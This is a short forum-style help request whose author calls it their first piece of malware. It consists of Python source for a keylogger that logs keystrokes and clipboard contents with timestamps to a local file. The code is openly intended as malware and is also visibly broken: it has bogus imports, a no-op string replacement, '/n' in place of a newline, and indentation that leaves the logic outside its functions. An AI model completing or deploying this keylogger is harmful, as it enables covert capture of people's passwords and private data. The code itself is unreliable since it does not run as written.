Creating my First Piece of Malware.....HELP

Code
import now as now

import pyperclip



from datetime import datetime

from pynput.keyboard import Listener, key



KEYSTROKE_LOG_FILE = './logs/keystroke.log'





def log_key_press(key):

    # Process the key press, get contents of clipboard

    key = str(key).replace("'", "'")

    line_to_write = None

    now = str(datetime.now())





if key == 'Key.cmd_r':

    line_to_write = f"{now}: Clipboard - {pyperclip.paste()}"

else:

    line_to_write = f"{now}: Key Press - {key}"



    # Write the output to the file

    with open(KEYSTROKE_LOG_FILE, 'a') as f:

        f.write(f"{line_to_write}/n")



def start():

    # Figure out how to track key presses

    with Listener(on_press=log_key_press) as l:

        l.join()



    if __name__ == '__main__':

        start()